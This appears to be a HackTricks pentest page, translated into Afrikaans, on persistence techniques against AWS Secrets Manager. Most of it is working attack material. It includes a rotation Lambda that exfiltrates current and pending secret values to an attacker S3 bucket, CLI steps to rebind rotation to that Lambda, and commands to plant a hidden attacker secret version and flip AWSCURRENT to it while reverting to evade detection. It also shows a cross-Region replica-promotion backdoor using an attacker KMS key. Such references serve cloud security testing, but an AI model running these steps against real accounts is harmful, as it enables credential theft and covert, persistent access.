# AWS - Secrets Manager Persistence

{{#include ../../../../banners/hacktricks-training.md}}

## Secrets Manager

Vir meer inligting, sien:

{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}

### Deur Resource Policies

Dit is moontlik om via resource policies **toegang tot secrets aan eksterne rekeninge te verleen**. Sien die [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) vir meer inligting. Let wel dat om **toegang tot 'n secret'** te kry, sal die eksterne rekening ook **toegang tot die KMS key wat die secret enkripteer** nodig hê.

### Deur Secrets Rotate Lambda

Om **rotate secrets** outomaties te doen, word 'n gekonfigureerde **Lambda** aangeroep. As 'n attacker die **code** kon **verander**, kon hy direk die **exfiltrate the new secret** na homself uitvoer.

So kan Lambda code vir so 'n aksie lyk:
```python
import boto3

def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')

# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']

# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)

def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password

# Example: Generate a new password
new_secret_value = generate_password()

return new_secret_value

def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
```
### Wissel die rotation Lambda na ŉ deur-aanvaller-beheerde funksie via RotateSecret

Misbruik `secretsmanager:RotateSecret` om 'n geheim te herbind aan 'n deur-aanvaller-beheerde rotation Lambda en 'n onmiddellike rotasie te aktiveer. Die kwaadwillige funksie eksfiltreer die geheimweergawes (AWSCURRENT/AWSPENDING) tydens die rotasiestappe (createSecret/setSecret/testSecret/finishSecret) na 'n aanvaller-ontvangplek (bv., S3 of eksterne HTTP).

- Vereistes
- Permissies: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` op die aanvaller Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (of AttachRolePolicy) om die Lambda-uitvoeringsrol te voorsien met `secretsmanager:GetSecretValue` en by voorkeur `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (sodat rotasie aanhou werk), KMS `kms:Decrypt` vir die geheim se KMS-sleutel, en `s3:PutObject` (of uitgaande egress) vir eksfiltrasie.
- 'n teiken secret id (`SecretId`) met rotasie aangeskakel of die vermoë om rotasie te aktiveer.

- Impak
- Die aanvaller verkry die geheimwaarde(n) sonder om die regmatige rotasie-kode te wysig. Slegs die rotasiekonfigurasie word verander om na die aanvaller se Lambda te wys. Indien dit nie opgemerk word nie, sal geskeduleerde toekomstige rotasies voortgaan om die aanvaller se funksie aan te roep.

- Aanvalstappe (CLI)
1) Berei aanvaller-ontvangplek en Lambda-rol voor
- Skep 'n S3-bucket vir eksfiltrasie en 'n uitvoeringsrol wat deur Lambda vertrou word met permissies om die geheim te lees en na S3 te skryf (plus logs/KMS soos nodig).
2) Ontplooi aanvaller Lambda wat by elke rotasiestap die geheimwaarde(n) haal en dit na S3 skryf. Minimale rotasie-logika kan net AWSCURRENT na AWSPENDING kopieer en dit in finishSecret promoveer om die diens gesond te hou.
3) Herbind rotasie en aktiveer
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
4) Verifieer eksfiltrasie deur die S3-prefix vir daardie geheim te lys en die JSON-artikels te inspekteer.
5) (Opsioneel) Herstel die oorspronklike rotation Lambda om deteksie te verminder.

- Voorbeeld aanvaller Lambda (Python) wat na S3 eksfiltreer
- Omgewing: `EXFIL_BUCKET=<bucket>`
- Handler: `lambda_function.lambda_handler`
```python
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']

def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')

def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
```
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)

Misbruik Secrets Manager version staging labels om 'n deur die aanvaller beheerde secret version in te plant en dit verborge te hou onder 'n pasgemaakte stage (byvoorbeeld, `ATTACKER`) terwyl produksie voortgaan om die oorspronklike `AWSCURRENT` te gebruik. Op enige oomblik skuif `AWSCURRENT` na die aanvaller se version om afhanklike workloads te vergiftig, en herstel dit daarna om opsporing te minimaliseer. Dit bied stil backdoor persistence en vinnige time-of-use-manipulasie sonder om die secret name of rotation config te verander.

- Vereistes
- Permissies: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (vir verifikasie)
- Teiken secret id in die Region.

- Impak
- Behou 'n verborge, deur die aanvaller beheerde version van 'n geheim en skuif atomies `AWSCURRENT` daarheen op aanvraag, wat enige verbruiker wat dieselfde secret name oplos, beïnvloed. Die omswaai en vinnige terugsetting verminder die kans op opsporing terwyl dit kompromittering tydens gebruik moontlik maak.

- Attack steps (CLI)
- Voorbereiding
- `export SECRET_ID=<target secret id or arn>`

<details>
<summary>CLI commands</summary>
```bash
# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
--secret-id "$SECRET_ID" \
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
--output text)

# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value \
--secret-id "$SECRET_ID" \
--client-request-token "$BACKTOK" \
--secret-string {backdoor:hunter2!}

# 3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"

aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage ATTACKER \
--move-to-version-id "$BACKTOK"

# Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated

# 4) On-demand flip to the attacker’s value and revert quickly
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$BACKTOK" \
--remove-from-version-id "$CUR"

# Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text

# Revert to reduce detection
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
```
</details>

- Aantekeninge
- Wanneer jy `--client-request-token` verskaf, gebruik Secrets Manager dit as die `VersionId`. Om 'n nuwe weergawe by te voeg sonder om eksplisiet `--version-stages` te stel, verskuif `AWSCURRENT` na die nuwe weergawe standaard, en merk die vorige as `AWSPREVIOUS`.


### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)

Misbruik Secrets Manager multi-Region replication om 'n replica van 'n teiken secret in 'n minder-oogstaande Region te skep, enkripteer dit met 'n attacker-controlled KMS key in daardie Region, bevorder dan die replica na 'n standalone secret en heg 'n permissive resource policy aan wat die attacker lees toegang gee. Die oorspronklike secret in die primary Region bly onveranderd, wat volhoubare, stil toegang tot die secret value deur die bevorderde replica verskaf terwyl KMS/policy beperkings op die primary omseil word.

- Vereistes
- Permissies: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- In die replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (of `kms:PutKeyPolicy`) om die attacker principal `kms:Decrypt` toe te laat.
- 'n attacker principal (user/role) om lees toegang tot die bevorderde secret te ontvang.

- Impak
- Volhoubare cross-Region toegangspad na die secret value deur 'n standalone replica onder 'n attacker-controlled KMS CMK en 'n permissive resource policy. Die primêre secret in die oorspronklike Region bly onaangeraak.

- Aanval (CLI)
- Veranderlikes
```bash
export R1=<primary-region>   # e.g., us-east-1
export R2=<replica-region>   # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
```
1) Skep aanvaller-beheerde KMS key in replika Region
```bash
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
```
2) Repliseer die geheim na R2 met die aanvaller se KMS-sleutel
```bash
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
```
3) Bevorder die replika na 'n selfstandige instansie in R2
```bash
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
```
4) Heg permissiewe resource policy aan die standalone secret in R2
```bash
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
```
5) Lees die secret van die attacker principal in R2
```bash
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
```
{{#include ../../../../banners/hacktricks-training.md}}
